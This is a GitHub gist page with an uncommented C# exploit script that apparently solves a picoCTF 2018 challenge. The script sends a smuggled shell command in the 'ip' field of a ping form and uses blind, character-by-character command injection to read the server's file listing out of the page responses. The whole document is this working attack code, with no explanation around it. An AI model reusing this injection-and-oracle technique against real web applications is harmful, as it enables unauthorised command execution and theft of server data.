This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
static void Main() | |
{ | |
Solve(); | |
} | |
static async Task Solve() | |
{ | |
try | |
{ | |
//string alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}. !\"#$%&()=~`{+*}<>?_-^\\@[;:],./"; | |
string alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}. "; | |
int count = 1; | |
while (true) | |
{ | |
List<Task<bool>> tasks = new List<Task<bool>>(); | |
foreach (var c in alphabet) | |
{ | |
string cmd = $@"$(ls | tr '\n' ' ' | cut -c {count} | grep '{c}')"; | |
tasks.Add(Execute(cmd)); | |
} | |
Task.WaitAll(tasks.ToArray()); | |
var item = tasks.Select((x, y) => new Tuple<int, bool>(y, x.Result)).FirstOrDefault(x => x.Item2); | |
Console.Write(item is null ? ' ' : alphabet[item.Item1]); | |
count++; | |
} | |
} | |
catch (Exception e) | |
{ | |
Console.WriteLine(e); | |
} | |
} | |
static async Task<bool> Execute(string cmd) | |
{ | |
HttpClient client = new HttpClient(); | |
HttpResponseMessage msg = await client.PostAsync("http://2018shell2.picoctf.com:8587/index.php", new FormUrlEncodedContent(new Dictionary<string, string> | |
{ | |
{ "ip", $"111a111a111a111 & if [ {cmd} ]; then echo '100% packet loss'; else echo '0% packet loss'; fi" } | |
})); | |
string resstr = await msg.Content.ReadAsStringAsync(); | |
bool res = resstr.Contains("Target is NOT alive."); | |
Debug.WriteLine($"end : {cmd}\n res : {res}"); | |
return res; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment